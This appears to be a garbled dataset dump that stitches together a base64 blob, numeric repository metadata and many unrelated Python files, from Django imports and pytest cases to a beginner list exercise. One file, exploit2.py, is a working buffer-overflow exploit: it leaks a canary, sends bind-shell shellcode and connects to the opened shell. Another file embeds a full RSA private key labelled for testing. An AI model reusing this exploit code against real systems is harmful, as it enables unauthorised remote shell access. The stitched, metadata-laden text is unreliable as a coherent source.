UBHFjakQhIVApI+rlUcQWqkp/CCgUy9ww1MFOoibObgCxA8O+mSS52feGc8A
92Lm8RhxxxDNc2zfH6e54rfB0a55DFnje9JsBbmDSvXEjojXUT8h3s5lRSts
5HtxtfGm0ejXFJ8G/XhQ1yHF48fpuTMfV1E/rvFDFqHciPYqm6SiKI0KaKcL
HtZ4Y86zJp3XpOmBGEHnHoRRNE61VXw52ukSEBwV7CUYs+4uzJxcr+3iGTpJ
4BJ8R0QlHfRKUBEVyBIymvl8+H3TxA8Jl+p//Iie+9P/NF3of2XgFue/aNod
9D9zC/ePCv3voWCG/ldI9QWuW/8F2p/T/8T3n8rBcvrfr6kPahs3oO1xh5+P
hOz+buNS+R+F3TDm5rs7l3Eb+W+J77+XglvIf9O40/lvhi62fz0czND/Cqm+
wLXy35ylf0vVxfefSgGI7+mDl/ee7B2+OkiPXgZxDk+nj14mH3WIXJgIZYzx
furx+XmqDUCaVIGAa8xd6AUPFpfKf1yHG9oj5ezurwK3kP9NVZz/VgqWlv9N
tbl1h/f/ltHWxfv/w8EM/a+Q6gtcJ/8Nqzkr/zVD7P8qBTu/gKHO95h0Kpqi
VkBqO6HrBf1O5dXhZ/V25Re7RNpJIp/RmEDsgKWLOtuNxunpabakw5dzmDOA
2TOZRQ1VaRsVbt6/QseQ1q/XMqR1LH9XWl/f8UNnd0bp2GlgID5Mvet6Ef12
17U9f7zTmArBCKPICyMvHu9CQ3cakzvIv5EWcKkCwyNAD+wKViUgICAgICAg
ICAg8N3E/wM4o00/AMgAAA==
"""
| 59.241379
| 60
| 0.923312
| 471
| 6,872
| 13.471338
| 0.949045
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.165211
| 0.017026
| 6,872
| 115
| 61
| 59.756522
| 0.774093
| 0
| 0
| 0
| 0
| 0.026087
| 0.997963
| 0.981374
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
78d18fd1889dd78c375b64c48b9effa0ea68c1c4
| 852
|
py
|
Python
|
sidekick/models/__init__.py
|
cybera/netbox_sidekick
|
bcb5b7946b246c65a5e4ac2294e1b4e9bc706e96
|
[
"Apache-2.0"
] | 1
|
2020-07-14T15:36:45.000Z
|
2020-07-14T15:36:45.000Z
|
sidekick/models/__init__.py
|
cybera/netbox_sidekick
|
bcb5b7946b246c65a5e4ac2294e1b4e9bc706e96
|
[
"Apache-2.0"
] | null | null | null |
sidekick/models/__init__.py
|
cybera/netbox_sidekick
|
bcb5b7946b246c65a5e4ac2294e1b4e9bc706e96
|
[
"Apache-2.0"
] | null | null | null |
from .accounting import AccountingSource # noqa: F401
from .accounting import AccountingSourceCounter # noqa: F401
from .accounting import AccountingProfile # noqa: F401
from .accounting import BandwidthProfile # noqa: F401
from .networkservice import LogicalSystem, RoutingType # noqa: F401
from .networkservice import NetworkServiceType # noqa: F401
from .networkservice import NetworkService # noqa: F401
from .networkservice import NetworkServiceDevice # noqa: F401
from .networkservice import NetworkServiceL3 # noqa: F401
from .networkservice import NetworkServiceL2 # noqa: F401
from .networkservice import NetworkServiceGroup # noqa: F401
from .nic import NIC # noqa: F401
| 65.538462
| 70
| 0.656103
| 73
| 852
| 7.657534
| 0.246575
| 0.171735
| 0.236136
| 0.325581
| 0.550984
| 0
| 0
| 0
| 0
| 0
| 0
| 0.063758
| 0.300469
| 852
| 12
| 71
| 71
| 0.874161
| 0.153756
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
15353a084a6e405cb79f647e30f117028747a8a5
| 453
|
py
|
Python
|
assignements/test_S3.py
|
YoanRouleau/BachelorDIM-Lectures-Algorithms-2020
|
eafb79a096325dc9bf75c3a20520edb191bfa3e1
|
[
"MIT"
] | null | null | null |
assignements/test_S3.py
|
YoanRouleau/BachelorDIM-Lectures-Algorithms-2020
|
eafb79a096325dc9bf75c3a20520edb191bfa3e1
|
[
"MIT"
] | null | null | null |
assignements/test_S3.py
|
YoanRouleau/BachelorDIM-Lectures-Algorithms-2020
|
eafb79a096325dc9bf75c3a20520edb191bfa3e1
|
[
"MIT"
] | null | null | null |
import S3_imgproc_tools as tobetested
import pytest
import numpy as np
def test_invert_color_numpy_tuNone():
with pytest.raises(ValueError):
tobetested.invert_color_numpy(None)
def test_invert_color_numpy_tuArray():
with pytest.raises(TypeError):
tobetested.invert_color_numpy(1)
def test_invert_color_numpy_tuuint8():
with pytest.raises(TypeError):
tobetested.invert_color_numpy(np.zeros((2,2), dtype=np.float32))
| 30.2
| 72
| 0.772627
| 63
| 453
| 5.238095
| 0.412698
| 0.2
| 0.290909
| 0.163636
| 0.518182
| 0.309091
| 0.309091
| 0.309091
| 0
| 0
| 0
| 0.017995
| 0.14128
| 453
| 15
| 72
| 30.2
| 0.830334
| 0
| 0
| 0.166667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0
| 0.25
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
1560189fe3319249c1a70c48854017950a77575a
| 252
|
py
|
Python
|
codigo_das_aulas/aula_17/exemplo_09.py
|
VeirichR/curso-python-selenium
|
9b9107a64adb4e6bcf10c76287e0b4cc7d024321
|
[
"CC0-1.0"
] | 234
|
2020-04-03T02:59:30.000Z
|
2022-03-27T15:29:21.000Z
|
codigo_das_aulas/aula_17/exemplo_09.py
|
VeirichR/curso-python-selenium
|
9b9107a64adb4e6bcf10c76287e0b4cc7d024321
|
[
"CC0-1.0"
] | 8
|
2020-04-20T11:20:43.000Z
|
2021-08-18T16:41:15.000Z
|
codigo_das_aulas/aula_17/exemplo_09.py
|
VeirichR/curso-python-selenium
|
9b9107a64adb4e6bcf10c76287e0b4cc7d024321
|
[
"CC0-1.0"
] | 77
|
2020-04-03T13:25:19.000Z
|
2022-02-24T15:31:26.000Z
|
from selene.support.shared import browser
from selene.support.conditions import be
from selene.support.conditions import have
browser.open('http://google.com')
browser.element(
'input[name="q"]'
).should(be.blank).type('Envydust').press_enter()
| 22.909091
| 49
| 0.761905
| 35
| 252
| 5.457143
| 0.657143
| 0.157068
| 0.267016
| 0.282723
| 0.34555
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.09127
| 252
| 10
| 50
| 25.2
| 0.834061
| 0
| 0
| 0
| 0
| 0
| 0.15873
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.428571
| 0
| 0.428571
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
156424583f1dff6fc922e501fe457af2ebb6491f
| 96
|
wsgi
|
Python
|
app.wsgi
|
topix-hackademy/social-listener
|
ce00a0ff6bd699b7941aaf92b17df378dac1633b
|
[
"MIT"
] | 12
|
2016-12-16T09:43:37.000Z
|
2022-01-30T05:49:14.000Z
|
app.wsgi
|
topix-hackademy/social-listener
|
ce00a0ff6bd699b7941aaf92b17df378dac1633b
|
[
"MIT"
] | 2
|
2016-12-20T17:35:38.000Z
|
2016-12-21T09:18:02.000Z
|
app.wsgi
|
topix-hackademy/social-listener
|
ce00a0ff6bd699b7941aaf92b17df378dac1633b
|
[
"MIT"
] | 3
|
2017-07-02T10:01:54.000Z
|
2021-01-03T01:58:01.000Z
|
import sys
sys.path.insert(0, '/var/www/bankapiflask/')
from server import app as application
| 16
| 44
| 0.760417
| 15
| 96
| 4.866667
| 0.866667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.011905
| 0.125
| 96
| 5
| 45
| 19.2
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0.231579
| 0.231579
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
157f072f3f11b3c610c6f65e6b2c65fd43f12620
| 188
|
py
|
Python
|
setup.py
|
ImperialCollegeLondon/guikit
|
721b3ac976d254f0f95c3f0bebb43669f310fd02
|
[
"BSD-3-Clause"
] | 3
|
2022-01-20T12:13:26.000Z
|
2022-01-20T12:42:03.000Z
|
setup.py
|
ImperialCollegeLondon/python-gui-template
|
721b3ac976d254f0f95c3f0bebb43669f310fd02
|
[
"BSD-3-Clause"
] | 14
|
2021-09-21T15:19:36.000Z
|
2021-11-28T00:05:32.000Z
|
setup.py
|
ImperialCollegeLondon/guikit
|
721b3ac976d254f0f95c3f0bebb43669f310fd02
|
[
"BSD-3-Clause"
] | null | null | null |
"""
Only needed to install the tool in editable mode. See:
https://setuptools.readthedocs.io/en/latest/userguide/quickstart.html#development-mode
"""
import setuptools
setuptools.setup()
| 23.5
| 86
| 0.787234
| 25
| 188
| 5.92
| 0.88
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.090426
| 188
| 7
| 87
| 26.857143
| 0.865497
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
158a9df32c222175cfef8e3c5507867bf5e5a591
| 690
|
py
|
Python
|
2013/CSAW/exploit2.py
|
parksjin01/ctf
|
098a44f734bb8ce0a99369d1989630e01f248511
|
[
"MIT"
] | null | null | null |
2013/CSAW/exploit2.py
|
parksjin01/ctf
|
098a44f734bb8ce0a99369d1989630e01f248511
|
[
"MIT"
] | 1
|
2017-03-05T07:08:18.000Z
|
2017-03-05T07:12:12.000Z
|
2013/CSAW/exploit2.py
|
parksjin01/ctf
|
098a44f734bb8ce0a99369d1989630e01f248511
|
[
"MIT"
] | null | null | null |
from pwn import *
import binascii
sh = remote('localhost', 31338)
buf_addr = sh.recv(4)
secret = sh.recv(4)
print binascii.hexlify(secret)
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"
payload = shellcode+'A'*(0x800-len(shellcode))+secret+'C'*12+buf_addr
print sh.recv(1024)
raw_input()
sh.sendline(payload)
new_sh = remote('localhost', 1337)
new_sh.interactive()
| 46
| 370
| 0.743478
| 140
| 690
| 3.628571
| 0.507143
| 0.070866
| 0.070866
| 0.094488
| 0.124016
| 0.124016
| 0.082677
| 0
| 0
| 0
| 0
| 0.240854
| 0.049275
| 690
| 14
| 371
| 49.285714
| 0.533537
| 0
| 0
| 0
| 0
| 0.076923
| 0.544928
| 0.515942
| 0
| 1
| 0.007246
| 0
| 0
| 0
| null | null | 0
| 0.153846
| null | null | 0.153846
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
158fd561c5738d817b067e24395096eaabcfe840
| 389
|
py
|
Python
|
client/gap/contact.py
|
brandsafric/weqtrading
|
3084bc3e28f5286b5dc6bbed3fccc43d9ba1cf62
|
[
"MIT"
] | 1
|
2019-09-03T13:11:13.000Z
|
2019-09-03T13:11:13.000Z
|
client/gap/contact.py
|
brandsafric/weqtrading
|
3084bc3e28f5286b5dc6bbed3fccc43d9ba1cf62
|
[
"MIT"
] | null | null | null |
client/gap/contact.py
|
brandsafric/weqtrading
|
3084bc3e28f5286b5dc6bbed3fccc43d9ba1cf62
|
[
"MIT"
] | null | null | null |
import os
import webapp2
import jinja2
from google.appengine.ext import ndb
from google.appengine.api import users
import logging
import json
class Contact(ndb.Expando):
contact_id : ndb.StringProperty()
names : ndb.StringProperty()
cell : ndb.StringProperty()
email : ndb.StringProperty()
subject : ndb.StringProperty()
message : ndb.StringProperty()
| 22.882353
| 38
| 0.724936
| 45
| 389
| 6.244444
| 0.511111
| 0.362989
| 0.135231
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.006369
| 0.192802
| 389
| 17
| 39
| 22.882353
| 0.888535
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
15a91c214ba6969019e257f6c6738bf81c44c138
| 912
|
py
|
Python
|
tests/continuous_tests/interval_tests/test_merges_with_interval.py
|
lycantropos/topo
|
7d777468c98b31533c5e050c4425e528376b35b4
|
[
"MIT"
] | null | null | null |
tests/continuous_tests/interval_tests/test_merges_with_interval.py
|
lycantropos/topo
|
7d777468c98b31533c5e050c4425e528376b35b4
|
[
"MIT"
] | 2
|
2019-02-22T13:14:30.000Z
|
2019-04-08T18:28:39.000Z
|
tests/continuous_tests/interval_tests/test_merges_with_interval.py
|
lycantropos/topo
|
7d777468c98b31533c5e050c4425e528376b35b4
|
[
"MIT"
] | null | null | null |
from tests.utils import implication
from topo.continuous import Interval
def test_reflexivity(interval: Interval) -> None:
assert interval.merges_with_interval(interval)
def test_intersecting_intervals(interval: Interval,
other_interval: Interval) -> None:
assert implication(interval.intersects_with_interval(other_interval),
interval.merges_with_interval(other_interval))
def test_overlapping_intervals(interval: Interval,
other_interval: Interval) -> None:
assert implication(interval.overlaps_interval(other_interval),
interval.merges_with_interval(other_interval))
def test_symmetry(interval: Interval, other_interval: Interval) -> None:
assert implication(interval.merges_with_interval(other_interval),
other_interval.merges_with_interval(interval))
| 38
| 73
| 0.711623
| 92
| 912
| 6.75
| 0.23913
| 0.283414
| 0.304348
| 0.20934
| 0.723027
| 0.613527
| 0.563607
| 0.563607
| 0.563607
| 0.457327
| 0
| 0
| 0.220395
| 912
| 23
| 74
| 39.652174
| 0.873418
| 0
| 0
| 0.266667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.266667
| 1
| 0.266667
| false
| 0
| 0.133333
| 0
| 0.4
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
15bc01f82f9f5ca938abdbc5e1d84c0ec09b8724
| 121
|
py
|
Python
|
custom_exceptions.py
|
kamens/gae_bingo
|
f5285b9ad17dde72991fe123f23095520a554cbf
|
[
"MIT"
] | 34
|
2015-02-06T14:55:10.000Z
|
2021-05-01T12:17:38.000Z
|
custom_exceptions.py
|
kamens/gae_bingo
|
f5285b9ad17dde72991fe123f23095520a554cbf
|
[
"MIT"
] | 1
|
2016-12-03T15:07:36.000Z
|
2016-12-03T15:07:36.000Z
|
custom_exceptions.py
|
kamens/gae_bingo
|
f5285b9ad17dde72991fe123f23095520a554cbf
|
[
"MIT"
] | 1
|
2016-05-18T20:54:36.000Z
|
2016-05-18T20:54:36.000Z
|
class InvalidRedirectURLError(Exception):
"""Raised when there is a redirect attempt to an absolute url."""
pass
| 30.25
| 69
| 0.735537
| 15
| 121
| 5.933333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.181818
| 121
| 3
| 70
| 40.333333
| 0.89899
| 0.487603
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
ec639da7d878f4899931dbed21cfb876973c4574
| 176
|
py
|
Python
|
fecha_horapy.py
|
miruimi/edem2021MDA
|
c92afb2b1f5bafb1063abd40c99eda97c4db7c9f
|
[
"Apache-2.0"
] | null | null | null |
fecha_horapy.py
|
miruimi/edem2021MDA
|
c92afb2b1f5bafb1063abd40c99eda97c4db7c9f
|
[
"Apache-2.0"
] | null | null | null |
fecha_horapy.py
|
miruimi/edem2021MDA
|
c92afb2b1f5bafb1063abd40c99eda97c4db7c9f
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
#!/usr/bin/python
import time
ahora = time.strftime("%c")
## representacion de fecha y hora
print "Fecha y hora " + time.strftime("%c")
time.sleep 10
| 17.6
| 43
| 0.653409
| 27
| 176
| 4.259259
| 0.703704
| 0.208696
| 0.226087
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.02027
| 0.159091
| 176
| 10
| 44
| 17.6
| 0.756757
| 0.386364
| 0
| 0
| 0
| 0
| 0.163462
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.25
| null | null | 0.25
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
ec6f3e7bc3be31b1fc041da9f3be5605cc7f25c6
| 120
|
py
|
Python
|
ml/ica.py
|
Max1993Liu/MLImplementation
|
4247aedb9ebf3d5a6b50805b8ee99ede4d232416
|
[
"MIT"
] | null | null | null |
ml/ica.py
|
Max1993Liu/MLImplementation
|
4247aedb9ebf3d5a6b50805b8ee99ede4d232416
|
[
"MIT"
] | null | null | null |
ml/ica.py
|
Max1993Liu/MLImplementation
|
4247aedb9ebf3d5a6b50805b8ee99ede4d232416
|
[
"MIT"
] | null | null | null |
"""
Independent Component analysis
Reference implementation: https://github.com/asdspal/dimRed/blob/master/ICA.ipynb
"""
| 30
| 81
| 0.8
| 14
| 120
| 6.857143
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.058333
| 120
| 4
| 82
| 30
| 0.849558
| 0.933333
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
ec741cb0b06970f896a1aefd16f9fb62110da66d
| 2,235
|
py
|
Python
|
tests/test_sign_poet.py
|
HHSIDEAlab/python-poetri
|
5e94d33ddf2b432143785ba4fbcaa9baf6b38c0e
|
[
"Apache-2.0"
] | 1
|
2022-03-13T23:13:58.000Z
|
2022-03-13T23:13:58.000Z
|
tests/test_sign_poet.py
|
HHSIDEAlab/python-poetri
|
5e94d33ddf2b432143785ba4fbcaa9baf6b38c0e
|
[
"Apache-2.0"
] | 2
|
2017-07-18T19:40:23.000Z
|
2022-03-13T23:23:23.000Z
|
tests/test_sign_poet.py
|
HHSIDEAlab/python-poetri
|
5e94d33ddf2b432143785ba4fbcaa9baf6b38c0e
|
[
"Apache-2.0"
] | 1
|
2017-05-15T13:51:55.000Z
|
2017-05-15T13:51:55.000Z
|
#!/usr/bin/env python
import unittest, os
from poetri.sign_poet import sign_poet
#This key is for testing and the CN is "transparenthealth.org"
test_private_key = """
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQComk77MDN73N/w
FphyPbL0uc0jzKvSI8qK/TGvDx+9ygPFzYq6RdsgNE5cOHdtXk6/ukaMt7ssmvRU
zyqKtx4033MssEvDlmYIrE1dvquiPg2CSIMxCsyny7191rLPN3iANC3a/39OBOg+
pBev6S+k9hQcV00j0oxfC9Aof8aT1f9P+l6gu3n3y9OTDcrz3hSv4dONDOxnKWiD
JG26Myuvap0+AP84Qa2WwNWJR0mwXAR5q9RuCG3IoIWuBUTKIDbe79Favy7R15Fc
B7atsd7KSnpyhSwwWp85OcMpQPSiUNCTNHgLl9WqdZxD1LFCR2WkUbMDtYZx1Yw+
vP0qE+3ZAgMBAAECggEAS566IetijAFq5zIbOdH2e9EB8zaPMfcfluss54lvAR6k
RomD2TwPpggPxUkGN6V+yHtxvReC+eSeBZPNTt4GzEwUSkzgDl9ccDNnl843CNOw
F2kSfmKLnA7DdLdhB5OnlkjQ8FJ79LA6wi2y+hEqb2B3cKavUIvUraSMvj1hAVjV
hu0Dh6RvpMwDKRk5R74EEbBRfV4kX6qNjOaGFw9siwtp5qSY17eSbBCsBOMQHe9U
t1nG5Fu/ChgOpUOjCsKtGPgl7H/6BfZjtLiP7xaoxRySfSbnpyu+Sxqofwa8mnjE
qdQTONkR7GztnaL/+2LHeLrCyDtklwptzeNuVKf6AQKBgQDQX3M/mfh1tCe9pZVi
+APDRVGw1ofsUQXOAHmY9eEwmIjmkV2HCHue3zwehzeLcmEeeI1Ozxi0JBsCsb+l
vb4m9AvEJkz6BaUCclqD6lcfcgiQbtSEsdQTS35aZSu8Woa0OGt4zDrSLB4jLrPR
EFdpA2FxcZMoNqbHMbF0B+9TYQKBgQDPI8krEwZT+mG0PCEIFiBFv5jMvOXd8qZE
Rq1iDVfI3iHta5fs7D0KzQVQqSFqCEQjPfC+dNAZL0SWHewNdf523TTZK4vOkaIB
PQEh568xk9EvV6/8QInO+4ljAM9/Kcze08SL0wj2aqa+iuys/6k1Ociz8xoEeEK0
4kEhbDileQKBgDYGiXsUELdz3lntdK4UX+VhM60F8nfzCe4/cUeXeKuA4P3m8rjw
Gh03A/9mT6B4J3YfC4RDbcRHGDm6nFX8vDCdVe+lfo/UptPbklxhhfVBO7c3BSLi
eHoIONp3IL/VONfBSRwo15dmmOnGUhkCg6dWmQ0wxVbH1LYQzFGpPQQBAoGAYoSA
r03zGonhYlme1DvByaqgv++v3GoGDj8XQ6VY9R5BQKyFq5eISNTODFkEnWulDKXv
FIZ2WyQSGNvOY3CVQG9hLVD6w5qcVL5xBXEt8AR/32ZzOyRu5tTXuRCvn6l/2RMb
Te1nO9vpxoJIotdN4RTEkmGzJCEWiPV7SKwyHPECgYEAwCdBX0pzpgAFbcX44FG8
Wo1b7C6y2vnAzm/MazBcDm9MH8X1oXdqRjKpY7kHXFYHB/fAxsUVCyOP82JVl5mq
yld/v0Z19nKV1e+rQz8DhdJtyUOOQ1szetHHvprDSK3KulBcojznIDgrRHqxSJcc
j1DFK16BeYLj88PTTKLtheE=
-----END PRIVATE KEY-----"""
class TestSigning(unittest.TestCase):
def test_sign_poet_happy(self):
result = sign_poet({"sub":"someapp.foo.com"}, test_private_key, "tranparenthealth.org", 3600)
"""Test the POET JWT signing by ensuring exactly two periods in output."""
self.assertEqual(result.count('.'), 2)
if __name__ == '__main__':
unittest.main()
| 45.612245
| 101
| 0.885459
| 144
| 2,235
| 13.618056
| 0.819444
| 0.016318
| 0.014278
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.119792
| 0.055034
| 2,235
| 48
| 102
| 46.5625
| 0.808712
| 0.036242
| 0
| 0
| 0
| 0
| 0.842637
| 0.781521
| 0
| 1
| 0
| 0
| 0.027027
| 1
| 0.027027
| false
| 0
| 0.054054
| 0
| 0.108108
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
ecb6df8348da445f7a3cdb361c0f7be8995efa8e
| 130
|
py
|
Python
|
src/petronia/core/platform/api/font/__init__.py
|
groboclown/petronia
|
486338023d19cee989e92f0c5692680f1a37811f
|
[
"MIT"
] | 19
|
2017-06-21T10:28:24.000Z
|
2021-12-31T11:49:28.000Z
|
src/petronia/core/platform/api/font/__init__.py
|
groboclown/petronia
|
486338023d19cee989e92f0c5692680f1a37811f
|
[
"MIT"
] | 10
|
2016-11-11T18:57:57.000Z
|
2021-02-01T15:33:43.000Z
|
src/petronia/core/platform/api/font/__init__.py
|
groboclown/petronia
|
486338023d19cee989e92f0c5692680f1a37811f
|
[
"MIT"
] | 3
|
2017-09-17T03:29:35.000Z
|
2019-06-03T10:43:08.000Z
|
"""
State definitions for supported fonts, font families, and other descriptions.
"""
from .defs import (
FontDefinition,
)
| 14.444444
| 77
| 0.715385
| 14
| 130
| 6.642857
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.184615
| 130
| 8
| 78
| 16.25
| 0.877358
| 0.592308
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
ece5a62614198f92df2582dd74c868066b6c5a62
| 1,461
|
py
|
Python
|
motorcycles.py
|
yiyidhuang/PythonCrashCrouse2nd
|
3512f9ab8fcf32c6145604a37e2a62feddf174d1
|
[
"MIT"
] | null | null | null |
motorcycles.py
|
yiyidhuang/PythonCrashCrouse2nd
|
3512f9ab8fcf32c6145604a37e2a62feddf174d1
|
[
"MIT"
] | null | null | null |
motorcycles.py
|
yiyidhuang/PythonCrashCrouse2nd
|
3512f9ab8fcf32c6145604a37e2a62feddf174d1
|
[
"MIT"
] | null | null | null |
motorcycles = ['honda', 'yamaha', 'suzuki']
print(motorcycles)
motorcycles[0] = 'ducati'
print(motorcycles)
motorcycles.append('duati')
print(motorcycles)
motorcycles = []
motorcycles.append('honda')
motorcycles.append('yamaha')
motorcycles.append('suzuki')
print(motorcycles)
# Insert
print('==========Insert elements')
motorcycles = ['honda', 'yamaha', 'suzuki']
motorcycles.insert(0, 'ducati')
print(motorcycles)
# Delete
print("==========Delete elements")
motorcycles = ['honda', 'yamaha', 'suzuki']
print(motorcycles)
del motorcycles[0]
print(motorcycles)
# Pop
print('==========Pop elements')
motorcycles = ['honda', 'yamaha', 'suzuki']
print(motorcycles)
popped_motorcycle = motorcycles.pop()
print(motorcycles)
print(popped_motorcycle)
motorcycles = ['honda', 'yamaha', 'suzuki']
last_owned = motorcycles.pop()
print(f"The last motorcycles I owned was a {last_owned.title()}.")
motorcycles = ['honda', 'yamaha', 'suzuki']
first_owned = motorcycles.pop(0)
print(f"The first motorcycle I owned was a {first_owned.title()}.")
# Remove
motorcycles = ['honda', 'yamaha', 'ducati']
print(motorcycles)
motorcycles.remove('ducati')
print(motorcycles)
